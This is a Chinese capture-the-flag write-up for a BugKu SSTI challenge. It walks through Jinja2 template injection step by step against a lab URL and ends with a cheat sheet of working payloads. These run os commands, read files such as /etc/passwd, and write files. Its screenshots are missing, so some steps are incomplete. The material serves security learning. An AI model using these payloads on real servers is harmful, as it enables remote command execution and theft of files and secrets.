CTF刷题

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF刷题相关的知识,希望对你有一定的参考价值。

BugKu——SSTI

1、判断是否存在ssti漏洞
2*8=16
说明存在ssti漏洞

  • List item

在这里插入图片描述
2、开始模板注入
在这里插入图片描述
知道’’的类型是字符型。

3、接下来我们找其父类
在这里插入图片描述
找到父类,父类是’object’
4、因为只有一个’父类’,需要加一个下标,
在这里插入图片描述

5、找父类下的所有子类
{{’’.class.bases[0].subclasses()}}
在这里插入图片描述

6、接下来使用脚本,跑出那个子类中含有os模块
在这里插入图片描述

运行find_func.py脚本
输入字符串的地方,把所有的子类将其放入到其中,然后模块的话,直接引用,上面的就ok
在这里插入图片描述

那就直接使用75,如果出现slot wrapper,说明此模块不能使用,使用.init,看是否被重载

说明可以被重载,接下来找内建函数.builtins
在这里插入图片描述

使用内建函数找到’import’,
http://114.67.246.176:14262/?flag={{%27%27.class.bases[0].subclasses()[75].init.globals.builtins[%27__import__%27]}}
发现可以使用
在这里插入图片描述

引用os库,可以看到使用的python3.7

在这里插入图片描述

查看文件,注意Linux使用’ls’,可以看到
app.py
在这里插入图片描述

当我cat app.py时,发现一串,可是没有找到flag
在这里插入图片描述

看了,wp,说是服务器模板注入,当我加入config,直接得到flag
在这里插入图片描述

新的知识点:
Python服务器模板注入
参考链接:
https://blog.csdn.net/qq_40657585/article/details/83657220

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2

#注入变量执行命令详见 [http://www.freebuf.com/articles/web/98928.html](http://www.freebuf.com/articles/web/98928.html)
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

参考链接:https://blog.csdn.net/qq_40657585/article/details/83657220

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

以上是关于CTF刷题的主要内容,如果未能解决你的问题,请参考以下文章

刷题[De1CTF 2019]SSRF Me

刷题记录:ctf473831530_2018_web_virink_web

CTF刷题记录Buuctf_N1BOOK——afr_3

CTF刷题

刷题记录:[De1CTF 2019]Giftbox && Comment

CTF学习路线指南(附刷题练习网址)